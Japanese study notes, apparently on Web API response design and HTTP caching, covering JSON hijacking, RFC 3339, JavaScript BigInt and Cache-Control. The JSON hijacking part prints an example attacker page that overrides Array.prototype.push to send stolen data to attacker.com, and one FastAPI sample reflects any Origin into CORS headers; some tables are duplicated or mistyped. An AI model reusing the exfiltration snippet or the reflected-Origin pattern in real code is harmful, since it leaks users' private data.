JSONインジェクションはJSONデータの中に、不正なコードを含めることで予期せぬ動きをさせる攻撃のことを指す。
JSONはオブジェクト形式でレスポンスすると、JSのブロックとして見なされる。
そのため、構文エラーとなり、JSのコードとしては実行されない。
しかし、JSONのトップを配列でレスポンスすると、それ単体ではJSのコードと判断され、ブラウザ側で読み込まれてしまうのである。(これをJSONハイジャック
というらしい)
🐶「JSONハイジャックとは」
🧩 どうして “配列トップの JSON” が狙われやすいの?
(※キーワードは JSON ハイジャック。いわゆる “JSONインジェクション” とは別件です)
1️⃣ まずは問題の流れをざっくり 🗺️
手順 | 攻撃者のやること | 何が起こる? |
---|---|---|
① | 自サイトにこう書く ↓<script src="https://victim.com/api/private"></script>
|
ブラウザは同一オリジン制限を無視して ✈️ リクエストを飛ばす(<script> は昔どこでも読めた) |
② | victim.com が 配列だけ を返す ↓["alice","bob","token_123"]
|
返ってきた内容は そのまま JavaScript として実行される |
③ | 攻撃者は Array.prototype を先回りで改変するArray.prototype.toString = function(){ steal(this); }
|
スクリプト実行時に配列が評価され、カスタムコードが走って機密データが送信される 😱 |
ポイント
- トップレベルが配列 →
["..."]
は完全な式。JS エンジンはそのまま評価できる- トップレベルがオブジェクト →
{ ... }
は 一見 ブロック{}
とラベル扱いになるため 構文エラー(評価には( )
が必要)
2️⃣ なぜ「JSONインジェクション」と混同される?🤔
用語 | 何をやる攻撃? | 配列トップの関係 |
---|---|---|
JSONインジェクション | サーバ/フロントが文字列連結で JSON を作成 → 入力で構造破壊 or XSS | 配列かどうかは無関係 |
JSONハイジャック (Hijacking) |
<script> でクロスオリジン読み取り → JS として実行させて抜き取る |
配列の方が実行しやすいので昔よく狙われた |
質問の「配列だと〜構文エラーにならず予期せぬ動き」が ハイジャック の説明に相当します。
3️⃣ 実験してみる(旧式ブラウザ想定)💻
victim.com/api/private が配列で返す:
["secret_token", "balance=1000000"]
攻撃者ページ:
<script>
// 配列が評価される “前” にフック
Array.prototype.push = function(data){
fetch("https://attacker.com/log?data="+encodeURIComponent(data));
};
</script>
<script src="https://victim.com/api/private"></script>
-
<script src>
で JSON が読み込まれ = JS として実行 -
評価途中で
push
が呼ばれ → 改ざん済みpush
が外部へ送信→ 機密情報リーク完了 🔥
4️⃣ 現代ブラウザではどう防がれている?🛡️
対策 | 説明 |
---|---|
CORS (Cross-Origin Resource Sharing) | ほとんどの API は Access-Control-Allow-Origin を適切に設定。他オリジンからは読み込めても JS として実行はブロック |
Content-Type: application/json |
<script> は基本 text/javascript だけを実行。MIME が違えば拒否 |
SameSite & CSRF トークン |
読み取りだけでなく書き込みもガード |
レスポンス前置きガード")]}'\n や while(1); など |
JSON の先頭に “ゴミ” を足して JS として壊す(Google の old GData API 方式) |
POST 専用 & 認証必須 | 機密エンドポイントは GET で出さない |
5️⃣ じゃあ今は安心? 🙌
-
最新ブラウザ+適切な HTTP ヘッダなら、配列トップでもほぼ安全
(とはいえ “昔の IE 用 intranet” などレガシー環境は要注意)
-
それでも 「配列よりオブジェクトで返す」+「ガード文字列を付ける」 など
多層防御 が推奨される業界もあります。
📝 まとめ
配列で返すと “インジェクション” になるわけではない。
ただし 昔は 配列トップ JSON が
<script>
で簡単に評価され、JSONハイジャック というデータ窃取攻撃に利用された。
今は MIME タイプ・CORS・CSRF 対策が整えば大抵防げるが、
オブジェクト形式にする
ガード文字列を付ける
機密 API は POST + 認可トークン
など “念には念” の実装が依然ベストプラクティスです。
どうやら今の時代のブラウザだと、JSONハイジャックは対策されているのでJSONのトップレベルを配列で返したとしても、予期せぬ動きをする心配はないっぽい。
でも、JSONのレスポンスが配列かオブジェクトか曖昧だと、その度にブラウザ側で処理の必要があるから基本的にJSONのレスポンスはオブジェクトのほうがいい。
日付のフォーマット
日付のフォーマットは基本的にRFC3339を使うのが推奨されている。
理由は、RFC3339がこれまでの日時を表現するフォーマットの課題を解決し、読みやすく、使いやすいものとしてインターネット上で用いる標準形式と決められたものだからである。
ちなみに、RFC3339とは以下のようなフォーマットのことを指す。
YYYY-MM-DDTHH:MM:SS[.fraction]Z|(+|-)HH:MM
# 2025年5月20日の10時はこんな感じになる
2025-05-20T10:00:42+09:00
🐶「RFC3339とは?」
🗓️ RFC 3339ってなに?
インターネットで “日時” をやり取りするときの、いわば “共通言語”
RFC 3339 は ISO 8601 をベースに “ズレや曖昧さが生まれないように” ルールを絞り込んだ日付・時刻フォーマットです。
1️⃣ 基本構造
YYYY-MM-DDTHH:MM:SS[.fraction]Z|(+|-)HH:MM
パート | 意味 | 例 |
---|---|---|
YYYY |
西暦4桁 | 2025 |
MM |
月 (01–12) | 05 |
DD |
日 (01–31) | 20 |
T |
日付と時間の区切り (固定文字) | T |
HH |
時 (00–23) | 17 |
MM |
分 (00–59) | 45 |
SS |
秒 (00–59) | 33 |
.fraction |
任意の小数秒 (1 – 9桁まで) | .123 |
Z |
協定世界時 (UTC) | Z |
`(+ | -)` | HH:MM |
2️⃣ よくある例 🔍
説明 | 文字列 | コメント |
---|---|---|
日本時間 (JST) 2025-05-20 17:00:00 | 2025-05-20T17:00:00+09:00 |
+09:00 が日本標準時 |
UTC の 0 時 | 2025-05-20T00:00:00Z |
Z は +00:00 と同義 |
ミリ秒精度 | 2025-05-20T08:15:30.987Z |
.987 = 987 ms |
マイクロ秒精度 (6 桁) | 2025-05-20T08:15:30.123456Z |
何桁あっても OK |
3️⃣ “ISO 8601 と何が違うの?” 🤔
ポイント | ISO 8601 | RFC 3339 |
---|---|---|
年の桁数 | 4 桁以上可 (±が付くことも) | 4 桁固定 (西暦のみ) |
日付の区切り |
YYYYMMDD も許可 |
ハイフン必須 (YYYY-MM-DD ) |
時間の区切り |
hhmmss も許可 |
コロン必須 (HH:MM:SS ) |
UTC表記 |
Z / +00 , どちらも可 |
Z か +00:00 |
うるう秒 |
23:59:60 可 |
禁止 (59 まで) |
曖昧さ | 曖昧になり得る | 曖昧排除(実装しやすさ優先) |
▸ RFC 3339 = “実装者が迷わないように ISO 8601 をサブセット化” したもの
4️⃣ 開発での “あるある” 落とし穴 ⚠️
-
うるう秒を許容しない
-
…:59:60Z
はパースエラーになるライブラリが多い - ほぼのシステムでは問題にならないが、NTP や天文関係は要注意
-
-
タイムゾーン略称は NG
-
JST
/PST
などの文字列は RFC 3339 の範囲外
-
-
末尾
Z
の付け忘れ- オフセットを書かないと “ローカル時刻” と誤解されるケース
-
小数秒の桁数バラつき
-
0.1
と0.10
は同値(先頭・末尾ゼロをパース側で吸収できるか確認)
-
5️⃣ 実装 Tips 💡
言語 / ライブラリ | フォーマット文字列 | 例 |
---|---|---|
JavaScript (Date.toISOString()) | 組込み |
date.toISOString() → 2025-05-20T08:15:30.123Z
|
Day.js | dayjs().format() |
YYYY-MM-DDTHH:mm:ssZ |
Go |
time.RFC3339Nano 定数 |
time.Now().Format(time.RFC3339Nano) |
Python (datetime ) |
isoformat(timespec='milliseconds') |
dt.isoformat(timespec='milliseconds') |
ポイント: ライブラリ任せにすると桁数や Z の有無が API 仕様とズレることも。
仕様書に「必ず
Z
で返す」「小数秒は 3 桁固定」など書いておくと安心です。
✔️ まとめ
- RFC 3339 は “機械同士が誤解なく日時をやり取りする” ための ISO 8601 サブセット
- 決めごと:
- ハイフン・コロンは 必須
- 年は 4 桁、西暦のみ
- タイムゾーンは
Z
か±HH:MM
- うるう秒禁止
- 迷ったら
2025-05-20T17:45:33Z
の形をベースに!
これさえ守れば、言語・プラットフォーム問わず “時刻がズレた!😱” という悲劇をかなり防げます。
1️⃣ 基本構造
YYYY-MM-DDTHH:MM:SS[.fraction]Z|(+|-)HH:MM
パート 意味 例 YYYY
西暦4桁 2025
MM
月 (01–12) 05
DD
日 (01–31) 20
T
日付と時間の区切り (固定文字) T
HH
時 (00–23) 17
MM
分 (00–59) 45
SS
秒 (00–59) 33
.fraction
任意の小数秒 (1 – 9桁まで) .123
Z
協定世界時 (UTC) Z
`(+ -)` HH:MM
JSと大きな整数
SQLにおける通常の整数int
やinteger
は32ビットのため、42億までしか表現することができない。
そこで、64ビットまで扱えるbitint
などの巨大な整数を扱うための型も存在している。
ちなみに64ビットまで扱えるとなると1800京という馬鹿でかい数字まで表現できるようになる。これはTwitterやInstagramなどの億単位のユーザーを抱えるサービスであっても非常に安心して使える。
ちなみに、JavaScriptはこのような大きな整数を扱えない。
JavaScriptは数値を全てIEEE 754標準の64ビット浮動小数として扱うため、大きい整数を扱おうとすると誤差が生じてしまうのだ。
🐶「JavaScriptは64ビットの整数を安全に扱えない?」
🚦 結論だけ先に
-
従来の
Number
型では “整数として安全” に扱えるのは ±9,007,199,254,740,991 (≈ 253−1) まで。⇒ 64 bit 符号付き整数(±9 × 1018 近辺)を “誤差なく” は扱えません。
-
ES2020 で導入された
BigInt
を使えば、桁数ほぼ無限で 64 bit も余裕です。
1️⃣ どうして 53 bit しか安全じゃないの?
仕様 | 説明 |
---|---|
Number = IEEE-754 倍精度浮動小数 |
① 1 ビット符号② 11 ビット指数③ 52 ビット仮数(先頭の 1 は暗黙) |
整数として正確に表せる上限 | 253−1 = 9007199254740991 (Number.MAX_SAFE_INTEGER ) |
// 誤差なし
console.log(9007199254740991 + 1); // 9007199254740992
// 誤差発生
console.log(9007199254740991 + 2); // 9007199254740992 (!!)
53 bit を超えると “1 ずつ増やしても数値が変わらない” 現象が起きます。
2️⃣ BigInt
で解決 🎉
const big = 123456789012345678901234567890n; // 末尾 n が BigInt リテラル
console.log(big * 2n); // 246913578024691357802469135780n
✅ 特徴
項目 | 内容 |
---|---|
精度 | 桁数制限ほぼなし(メモリの限り) |
演算子 |
+ - * ** % などほぼ同じ※ただし BigInt と Number を直接混ぜられない
|
JSON | そのまま JSON.stringify() は不可 → 文字列へ変換して送る |
TypedArray |
BigInt64Array / BigUint64Array がある |
速度 | Number より遅いが “64 bit 程度” なら実用十分 |
// ✖ TypeError: Cannot mix BigInt and other types
console.log(1n + 1);
// 変換が必要
console.log(1n + BigInt(1)); // 2n
3️⃣ 64 bit 整数を扱う実戦パターン
シーン | 便利ワザ |
---|---|
ID やタイムスタンプ (Snowflake など) | 受信時に BigInt(idStr) → 計算 → 必要に応じ id.toString() で戻す |
WASM / ネイティブ連携 |
BigInt64Array や DataView#getBigInt64 でバイト列⇄整数 |
暗号・金融 | ライブラリ側が BigInt 対応済みなら桁あふれ心配なし |
JSON API | “数値が 253 超えうる” なら 文字列で送る のが現実的("amount":"9223372036854775807" ) |
4️⃣ よくある Q&A
Q | A |
---|---|
BigInt って遅くない? |
浮動小数よりは遅いが、64 bit 程度では体感差ほぼ無し。巨大行列演算などは専用ライブラリ推奨 |
ブラウザ対応は? | ES2020 なので Chrome 67+ / Node 10.4+ 以降はサポート。IE ではポリフィル必須 |
データベースとのやり取りは? | MySQL BIGINT UNSIGNED → Node は文字列で取得して BigInt() 変換が定番 |
Number でどうしても 64 bit が必要 |
ソフトウェア実装(long.js など)や 2×32 bit に分割するといった昔ながらの手もあるが、今なら素直に BigInt がラク |
📝 まとめ
-
JavaScript の従来型
Number
は 53 bit までが安全。64 bit 整数は 誤差が出る。
-
BigInt
を使えば 64 bit はもちろん任意の桁数を正確に扱える。ただし Number と混ぜない/JSON は文字列化など、いくつか運用ルールを決めて使おう!
🐶「IEEE 754標準の64ビット浮動小数とは?」
🎯 まず一言で!
64 ビット浮動小数点(double)=「+/− の札🪧・小数点の位置📏・数字本体📦 を 64 個のスイッチで表すルール」
「めちゃ広い範囲をそれなりの精度でサクサク計算できる “数字の圧縮フォーマット”」と思ってください。
1️⃣ 64 個のスイッチ(ビット)をざっくり地図にする
区画 | ビット数 | 役目 | 超ざっくり例え |
---|---|---|---|
🟥 符号 | 1 | +か−か | ハイ/ロー札 |
🟦 指数 | 11 | 「小数点どこに置く?」 | メジャーで何メートル動かすか |
🟩 仮数(有効数字) | 52 | 本体の数字 | メジャーの細かい目盛り |
合計 1+11+52=64 ビット。
👉 “52 ビット” に 隠れた 1 が自動で付くので、実際の精度は 53 ビットです。
2️⃣ どうやって値になるの?👉 コーヒー1杯=430円で例える
(-1)^符号 × 1.仮数 × 2^(指数−1023)
- 符号:0 → +、1 → −
-
仮数:
1.***
という 2 進小数(先頭の 1 は隠れてる) - 指数:1023 を引くと「実際に 2 を何回かけるか/割るか」
たとえば 430 円を 2 進化&当てはめると「1.*** × 2^…」になり、64 ビットの箱に収まります。
3️⃣ なんで 0.1+0.2 が 0.30000000000000004 になるの?
ステップ | 裏側で起きてること |
---|---|
① 0.1 を 2 進にすると 0.000110011... と永遠に続く
|
→ 途中で丸める |
② 0.2 も同じく丸める | |
③ 足すと丸め誤差が 2回分 のる | |
④ 結果:0.30000000000000004
|
浮動小数は「近い値」で代用する方式なので、10 進小数はピタッと表せないんです。
4️⃣ 安全に数えられる最大整数って?
-
2^53−1 = 9 007 199 254 740 991
(JavaScript の
Number.MAX_SAFE_INTEGER
) -
これを超えると 「+1 しても値が変わらない」 という怪現象😱
9007199254740991 + 1 // → 9007199254740992
9007199254740991 + 2 // → 9007199254740992 ← 1 増やしたのに同じ!
ガチで巨大な整数は BigInt を使いましょう。
5️⃣ “広さ” と “細かさ” をざっくり数字で
属性 | 値 | イメージ |
---|---|---|
最大値 | 約 1.8 × 10³⁰⁸ | 「宇宙の星の数」を吹き飛ばすレベル |
最小正数 | 約 5 × 10⁻³²⁴ | 原子よりケタ違いで小さい |
有効桁 | 約 15〜17 桁 | 小数第16桁あたりで丸め |
6️⃣ こんな時は注意⚡️
シーン | 対策 |
---|---|
金額計算・為替 | int(円 ×100 など)+スケール or 小数専用ライブラリ |
巨大 ID(Snowflake など) | 文字列で送る or BigInt で扱う |
0 除算や無効演算 |
Infinity と NaN に要チェック |
🚩 まとめ
- 64 ビット浮動小数点=「符号1+指数11+仮数52」で 広い範囲をそこそこ精度で。
- 10 進小数はピッタリ入らず 丸め誤差 が出る。
-
整数は 2⁵³−1 まで安全、それ以上は
BigInt
。 - 精度が命の計算(お金・科学)は 整数+スケールか 高精度ライブラリで!
イメージは “ざるそばのザル”。
目が細かすぎると 水が抜けず処理が遅い (= 任意精度)
目が粗すぎると そばが落ちちゃう (= 精度不足)
IEEE 754 double は「🍜をこぼさず、排水も早い」絶妙なザル、というわけです!
これを回避するためには、巨大な整数のフィールドを文字列として扱うというアプローチである。
実際、TwitterのAPIはidのほかにid_strという文字列として格納したフィールドを返すらしい。
※今はJSにもBitIntがあるので、めちゃくちゃでかい整数にはそれを使うようにしよう。
ステータスコードの分類
これは初めて知った。
ステータスコード | 意味 |
---|---|
100番台 | 情報 |
200番台 | 成功 |
300番台 | リダイレクト |
400番台 | クライアント再度起因のエラー |
500番台 | サーバーサイド起因のエラー |
400はクライアント起因のエラーであることははじめまして。
改めて考えれば、確かにそうだなと思うが、こういうふうに言語化してもらえると助かるなぁ。
まとめ
この章ではAPIのレスポンスに関する設計をどうするかについて学んだ。
JSONは配列ではなく、オブジェクトでレスポンスをすべき理由、日付けフォーマットは世界標準のEFC3339を使うようにしようだとか、JSは大きな整数を扱えないなど多くのレスポンス設計における基礎を学ぶことができた。
何よりも大切なのは、レスポンスはユーザー目線に立って設計するようにしようということだ。
レスポンスがクライアントにとって不親切な場合は、余計な開発工数や混乱を招くのでそういった自体はできるだけ防ぐようにしようということが書かれてあった。
4章 HTTPの仕様を最大限利用する
Expiration Model
🐶「Expiration Modelとは」
🛠️ HTTPキャッシュを操る 2 大ヘッダー
ヘッダー | 世代 | 仕組み | ひと言キャッチ |
---|---|---|---|
Expires |
HTTP/1.0 から | “有効期限を 日時で指定” | カウントダウン式📅 |
Cache-Control |
HTTP/1.1 から |
“挙動を 指示語で指定” (max-age など) |
リモコン式🎚️ |
1️⃣ Expires
─ 絶対期限を日時で
Expires: Tue, 25 Jun 2025 12:00:00 GMT
特徴 | 詳細 |
---|---|
📅 日時固定 | その時刻を過ぎたら必ず再取得 |
⏰ 時刻ズレに弱い | クライアント時計が狂っているとキャッシュ無効化のタイミングもズレる |
🌍 タイムゾーンは必ず GMT | 表記形式も RFC 5322 スタイル固定 |
🛠️ まだ現役 | 旧プロキシや HTTP/1.0 クライアント向け互換で一緒に送ること多し |
イメージ: 冷蔵庫の“賞味期限シール”📅
2️⃣ Cache-Control
─ 指示語で柔軟コントロール
Cache-Control: max-age=86400, public
ディレクティブ | 何を制御? | 例 |
---|---|---|
max-age=<秒> |
今から◯秒間は新鮮 |
max-age=600 (10分) |
s-maxage=<秒> |
共有プロキシ用の寿命 | CDN だけ 1 時間キャッシュ |
public / private |
共有キャッシュ可否 | 認証不要の画像 → public
|
no-cache |
再利用前に必ず再検証 | HTML 本体でよく使う |
no-store |
キャッシュ完全禁止 | 個人情報 API など |
must-revalidate |
期限切れ後は必ず再検証 |
max-age とペアで信頼性UP |
イメージ: エアコンのリモコン🎚️— ボタンを押して詳細動作を指示
3️⃣ 優先順位 & ベストプラクティス
もし両方書いたら? | どっちが勝つ? |
---|---|
Cache-Control に 寿命系ディレクティブ (max-age , s-maxage ) がある
|
Cache-Control が上位(Expires は無視される) |
Cache-Control に寿命系が無い (no-cache だけ等) |
Expires が有効 |
なぜセットで送る?
-
新 クライアント →
Cache-Control
を読む -
旧 クライアント (HTTP/1.0 プロキシなど) →
Expires
だけ読む→ 互換性確保 が理由です。
4️⃣ 具体シナリオで比べてみる
シーン | 推奨ヘッダー |
---|---|
⭐️ 毎日0時に必ず切り替わる(ニュースのトップバナー画像) | http<br>Cache-Control: max-age=86400, public<br>Expires: <明日0時 GMT> |
🔑 ユーザ認証付きの HTML(常に最新を表示したい) | http<br>Cache-Control: no-cache, private, must-revalidate<br>Expires: 0 |
🚀 CDN で 1 週間、ブラウザは 1 時間だけ(JS/CSS アセット) | http<br>Cache-Control: public, max-age=3600, s-maxage=604800 |
5️⃣ よくある落とし穴⚠️
ミス | 症状 / 解決 |
---|---|
Expires だけ未来日時、Cache-Control: no-cache |
新ブラウザでは都度再取得 → 期待より更新頻度高い |
max-age と Expires の日時が矛盾 |
max-age 優先。テスト環境で「キャッシュされない…」と混乱 |
🚩 まとめ
Expires
→ “いつまで” を日付で貼るシールCache-Control
→ “どう振る舞え” を命令で並べるリモコン- モダン環境は
Cache-Control
が主役。互換目的でExpires
を添えるのが安全パターン - 時刻ズレ・CDN階層・プライバシー要件を考え、ディレクティブを組み合わせてチューニングしよう!
😀 まずは max-age と no-cache を押さえれば実務の8割は攻略できます。慣れたら s-maxage, must-revalidate で細かく調整してみてください!
Expires
ヘッダー:
- 冷蔵庫の賞味期限のようなイメージ。
- 遠い未来の時刻を設定する。
- 例えば、天気予報といった更新のタイミングが決まっている場合はExpiresで特定の日時を指定する。
Cache-Control
ヘッダー:
- エアコンのリモコンで詳細に操作できるイメージ。
- 更新頻度はそこまで高くないが、頻繁にアクセスするのは控えて欲しいサービスにおいて有効。
- 指示語で「今から〜時まで」などを指定することができる。
Cache-Controlの方がHTTP1.1となっており、Expiresヘッダーよりも新しいのでCache-Controlの方が優先される。
Validation Model
🐶「Validation Modelとは」
🔄 Validation Model(バリデーション・モデル)とは?
キャッシュ(ブラウザや CDN など)が「手元のコピーをそのまま使って良いか?」を “サーバーに確認してから” 判断する方式 です。
先に学んだ Expiration Model が “時計を見て自動失効” なのに対し、Validation Model は サーバーにお伺いを立てる イメージです。
1️⃣ 仕組みをざっくり図解
┌───────────┐ 1. 通常 GET
│ ブラウザ │ ───────▶ │ サーバ │
└───────────┘ 2. 200 OK
▲ │
│ キャッシュ保存 ▼
┌───────────┐ 3. 再リクエスト (If-None-Match/If-Modified-Since)
│ ブラウザ │ ───────▶ │ サーバ │
└───────────┘ 4a. 304 Not Modified(変更なし)
4b. 200 OK + 新しい本文(変更あり)
-
変更なし (
304
) → キャッシュをそのまま使用(本文は送られないので帯域節約) -
変更あり (
200
) → 新しいリソースをダウンロードし、キャッシュを更新
2️⃣ 鍵となる 2 大ヘッダー 🔑
ヘッダー | 役割 | 具体例 |
---|---|---|
ETag |
「このバージョンはコレ!」という “指紋(ハッシュ)” | ETag: "v1.2.5-abc123" |
Last-Modified |
最終更新日時 | Last-Modified: Tue, 20 May 2025 07:15:30 GMT |
クライアントが持っている指紋/日時を、対応する 条件付きリクエストヘッダー と一緒に送り返します。
リクエスト時のヘッダー | 比較対象 | 判定結果 |
---|---|---|
If-None-Match: "v1.2.5-abc123" |
サーバ側の最新 ETag | 一致 → 304 / 不一致 → 200 |
If-Modified-Since: Tue, 20 May 2025 07:15:30 GMT |
サーバ側の更新時刻 | 同じ/前 → 304 / 後 → 200 |
3️⃣ Expiration Model との違いを一言で
観点 | Expiration Model | Validation Model |
---|---|---|
判断タイミング | 手元の時計 で即決 | サーバー照会 して決定 |
帯域コスト | 0(失効前)/フルダウンロード(失効後) | ヘッダー往復のみ で更新有無を確認 |
代表ヘッダー |
Cache-Control: max-age=… , Expires
|
ETag , Last-Modified (+ 条件付きヘッダー) |
向いているケース | 更新頻度が読める静的アセット | いつ変わるか不定(HTML, API レスポンスなど) |
4️⃣ 具体シナリオでイメージ 🎮
📰 ニュースサイトの HTML
- 何分おき・何秒おきか分からないけど「更新されたらすぐ新しい記事を見たい」
-
Cache-Control: no-cache, ETag: "..."
を付ける - ブラウザは毎回
If-None-Match
で問い合わせ → 変更なければ 304 で軽量
📦 オブジェクトストレージの画像
- 基本は
max-age=31536000
(1年)で Expiration - でも “まれに上書きアップロード” がある →
ETag
も付与しておく - 期限内でも
Ctrl+F5
など明示再読込なら Validation が走り、最新が取れる
5️⃣ 実装時のワンポイント ⚙️
やること | メモ |
---|---|
ETag を生成する | 静的ファイル → ファイルのハッシュ / mtime ハッシュ動的レスポンス → DB の更新バージョンなど |
強い vs 弱い ETag |
W/"..." は“弱い”。バイト単位ではなく内容同一なら OK という緩い比較 |
高精度時計に依存しない |
Last-Modified は秒単位で十分。サーバ台数で時刻ズレが大きいと 304 判定が狂う |
304 時は本文を返さない | サイズ 0 にして帯域節約。ヘッダーのみで OK |
🚀 まとめ
Validation Model = “サーバに聞いてからキャッシュを続投するか決める仕組み”
- キーは
ETag
とLast-Modified
- クライアントは
If-None-Match
/If-Modified-Since
を付けて再問い合わせ- 変更なければ
304 Not Modified
、あれば200 OK
+ 新しい本文- 「更新タイミングが読めないけど最新を保ちたい」リソースで大活躍!👍
Validation Modelとは「今持っているキャッシュが有効かどうかをサーバーに問い合わせる」というもの。
Validation Modelはデータ取得の際にネットワーク接続が発生してしまうものの、オーバーヘッドを少なくすることができる仕組みとなっている。
例えば、今のキャッシュが最新のものだった場合、「最新だよ」とだけサーバーから受け取れば、通常のデータフェッチよりも少ないペイロードで済ませることができる。
Validation Modelはこのように「サーバーに今のキャッシュが最新かどうかを問い合わせる」もので、キャッシュが有効な場合は少ない通信量で済むということを覚えておこう。
Validation ModelではLast-Modified
ヘッダーとETag
ヘッダーがある。
ETagはランダムに生成される文字列のことで、いわばバージョニングハッシュのようなもの。
あと、一緒にVaryヘッダも覚えておくと良い。
🐶「Varyとは」
🎛️ Vary
ヘッダーってなに?
「キャッシュ(ブラウザや CDN)が、レスポンスを区別するときに“どのリクエストヘッダー”を見ればいいか教えるラベル」 です。
1️⃣ 仕組みをざっくりイメージ 👀
-
クライアントからリクエスト
GET /page Accept-Language: ja
-
サーバーが返すときに
Vary: Accept-Language
-
キャッシュは「同じ URL だけど Accept-Language が違うと別物」と扱う
-
Accept-Language: ja
→ キャッシュ A -
Accept-Language: en
→ キャッシュ B
-
┌───────────┐
│ ブラウザ │
└─────┬─────┘
│ GET /page (Accept-Language: ja)
▼
┌───────────┐
│ キャッシュ │
│[URL,page, │
│ headers: ja] │ ←ヒットすれば即返却
└─────┬─────┘
│ ミス
▼
┌───────────┐
│ サーバー │
│ Vary: Accept-Language │
└───────────┘
2️⃣ 主な使いどころ・例
Vary 値 |
何を見る? | 使い道 |
---|---|---|
Accept-Encoding |
圧縮方式(gzip, br, deflate) | 同じリソースでも圧縮方式ごとに別々にキャッシュ |
Accept-Language |
表示言語(ja, en, fr…) | 多言語サイトで言語ごとにキャッシュ分離 |
User-Agent |
ブラウザ種別 | モバイル版/PC版などをユーザーエージェントで振り分け |
Origin |
リクエスト元オリジン | CORS 用レスポンスをオリジン別に分けるとき |
Cookie |
クッキーの有無/値 | ユーザーごとにパーソナライズする場合(要注意) |
* |
すべてのヘッダー(=キャッシュ不可) | 動的すぎてキャッシュしたくないとき |
3️⃣ どうして必要?メリット・注意点
- 👍 メリット
- URL が同じでも「○○ヘッダーが違うだけでレスポンス中身が変わる」ケースを正しくキャッシュ
- 無駄な再フェッチを減らして高速化&帯域節約
- ⚠️ 注意点
-
Vary
が多いほどキャッシュヒット率は下がる -
Vary: *
は「どんなヘッダーにも依存する」→ キャッシュ無効化と同じ -
Cookie
やAuthorization
をVary
するとプライベートキャッシュ以外では動かない場合も
-
4️⃣ 実装例
Next.js の API Route で言語ごとキャッシュ
export default function handler(req, res) {
res.setHeader("Vary", "Accept-Language");
const lang = req.headers["accept-language"]?.split(",")[0] || "en";
res.setHeader("Cache-Control", "public, max-age=3600");
res.json({ message: lang === "ja" ? "こんにちは" : "Hello" });
}
FastAPI で CORS 用レスポンスをオリジン別に
from fastapi import FastAPI, Response, Request
app = FastAPI()
@app.get("/data")
async def data(req: Request):
origin = req.headers.get("origin", "")
# CORS ヘッダー
res = Response(content="secret")
res.headers["Vary"] = "Origin"
res.headers["Access-Control-Allow-Origin"] = origin
return res
5️⃣ まとめ 🎯
Vary
= 「キャッシュを分けるときに見るリクエストヘッダー名リスト」- 主要なものは
Accept-Encoding
,Accept-Language
,User-Agent
,Origin
など - 多用しすぎるとヒット率が下がるので、本当に必要なヘッダーだけを指定しよう!
「キャッシュ(ブラウザや CDN)が、レスポンスを区別するときに“どのリクエストヘッダー”を見ればいいか教えるラベル」 です。
要するに、「レスポンスの区別の際に、どのヘッダを見れば良いかを教えるラベル」である。
例えば、jaやenなどの言語によってキャッシュした内容を表示すべきかどうか変わってくるだろう。
英語圏で日本語のキャッシュ結果を表示してしまってはユーザーは混乱してしまう。
そういったことをなくすためにVaryヘッダを使って『enのキャッシュを表示してね』と伝える役割がこのVaryにはあるのだ。
キャッシュをさせたくない場合
アプリケーションによっては全くキャッシュを使いたくないものもあるだろう。
例えば、株価情報を扱うサービスでは最新の情報が求められるため、キャッシュは不要になることが多い。
こういった場合に有効なのが、Cache-Control
ヘッダーに対して、no-cache
と設定することである。
Cache-Control: no-cache
ちなみに、no-cache
は厳密には「完全にキャッシュを使わない」という意味ではなく、検証モデル(Validation Model)は最低限必要があることを意味する。
Cache-Control
🐶「Cache-Controlのディレクティブについて」
以下、Cache-Control
ヘッダーの主なディレクティブを表形式でまとめました。
ディレクティブ | 意味 | 主な用途/特徴 |
---|---|---|
public | レスポンスを 共有キャッシュ(CDN やプロキシ) に保存してもよい | 認証不要かつ全ユーザー共通のリソース(画像、CSS、JS、公開APIレスポンスなど)を高速配信したいとき |
private | レスポンスを ユーザーのブラウザ のみキャッシュ可能。共有キャッシュには保存しない | ユーザー固有のページ(マイページ、ダッシュボードなど)や認証後のコンテンツを、他ユーザーに漏らさずブラウザにキャッシュさせたいとき |
no-cache | キャッシュはできるが、再利用時に必ずサーバーへ「更新確認(条件付きリクエスト)」を行う | HTML や API のように「常に最新を確認したいが、304 なら本文を再送したくない」リソースに適用 |
no-store | いかなるキャッシュ(ブラウザ/共有)にも一切保存しない | センシティブなデータ(銀行残高、個人情報、セキュアトークンなど)を絶対キャッシュさせたくない場合 |
no-transform | HTTP 中継ノード(プロキシや CDN)がレスポンスを圧縮・最適化・フォーマット変換してはダメ | 画像のフォーマット変換やテキスト圧縮を禁止し「オリジナルそのまま」を配信したいとき(例:バイナリフォーマットが厳密に必要な場合) |
must-revalidate | 有効期限切れ後は必ずサーバーへ再検証し、304/200 の判断を行う必要がある |
max-age 付きで一度キャッシュしても、期限切れ後はサーバー確認を厳格に行わせたい場合 |
proxy-revalidate |
must-revalidate と同様だが、共有キャッシュのみ に適用 |
共有キャッシュ環境下でのみ「期限切れ後は必ず再検証」を強制し、ブラウザキャッシュには影響させたくない場合 |
max-age=<秒数> | キャッシュの有効期間を 秒単位 で指定 |
max-age=3600 (1時間)など、ブラウザ/共有キャッシュ両方で同じ TTL を使いたいとき |
s-maxage=<秒数> |
共有キャッシュ専用 の TTL を秒単位で指定(max-age より優先) |
CDN やプロキシは長め(例:s-maxage=86400 =24時間)、ブラウザは短め(別途 max-age )にしたいとき |
使い方の例
# 例1: 共有キャッシュもブラウザも 1時間キャッシュ
Cache-Control: public, max-age=3600
# 例2: ブラウザは 10分、共有キャッシュは 1日キャッシュ
Cache-Control: public, max-age=600, s-maxage=86400
# 例3: ユーザー固有データなのでブラウザのみキャッシュ、かつ期限切れ後は必ず確認
Cache-Control: private, max-age=300, must-revalidate
# 例4: 絶対キャッシュ禁止(機密データなど)
Cache-Control: no-store
これらを組み合わせることで、配信性能・帯域節約・セキュリティ要件をバランスよくコントロールできます。
ディレクティブ | 意味 | 主な用途/特徴 |
---|---|---|
public | レスポンスを 共有キャッシュ(CDN やプロキシ) に保存してもよい | 認証不要かつ全ユーザー共通のリソース(画像、CSS、JS、公開APIレスポンスなど)を高速配信したいとき |
private | レスポンスを ユーザーのブラウザ のみキャッシュ可能。共有キャッシュには保存しない | ユーザー固有のページ(マイページ、ダッシュボードなど)や認証後のコンテンツを、他ユーザーに漏らさずブラウザにキャッシュさせたいとき |
no-cache | キャッシュはできるが、再利用時に必ずサーバーへ「更新確認(条件付きリクエスト)」を行う | HTML や API のように「常に最新を確認したいが、304 なら本文を再送したくない」リソースに適用 |
no-store | いかなるキャッシュ(ブラウザ/共有)にも一切保存しない | センシティブなデータ(銀行残高、個人情報、セキュアトークンなど)を絶対キャッシュさせたくない場合 |
